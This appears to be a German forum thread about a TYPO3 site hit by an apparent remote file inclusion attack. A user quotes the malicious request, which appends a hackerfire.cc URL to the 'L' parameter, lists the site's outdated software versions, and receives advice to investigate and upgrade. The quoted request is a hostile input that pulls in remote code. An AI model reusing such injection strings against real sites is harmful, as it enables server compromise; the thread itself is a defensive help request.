Einer unserer Kunde wurde kürzlich durch hackerfire.cc attackiert.
Dem L-Parameter wurde eine URL angefügt.
"http://www.unserkunde.ch/index.php?id=98&L=http://www.hackerfire.cc/uploads/..."
Durch das Löschen des FE-Caches konnte dies wieder bereinigt werden.
Kennt jemand dieses Problem auch?
Kann dies durch den Einsatz von realurl verhindert werden?
Hier einige Infos:
TYPO3 V3.7
phpMyAdmin 2.5.6
MySQL 3.23.58
Grüsse Andi
was heißt attackiert?
hat jemand den URL so aufgerufen (und du hast es im logfile gesehen), oder konnte der quellcode von typo3 oder die konfiguration so verändert werden, dass die L-variable dauerhaft diesen hackerfire.cc-url anzeigt?
ersteres könntest du ignorieren, letzteres wäre erstmal ein grund zur panik.
by the way: selbst wenn das ganze nur falscher alarm sein sollte: aktuelle software ist pflicht, wenn du nicht für erfolgreiche hackerangriffe zur verantwortung gezogen werden willst.
typo3 3.7 gehört nicht zu den neuen versionen, und mysql3.23 ist eine sünde.
software wird nicht stabiler, wenn sie alt wird.
grüße
axo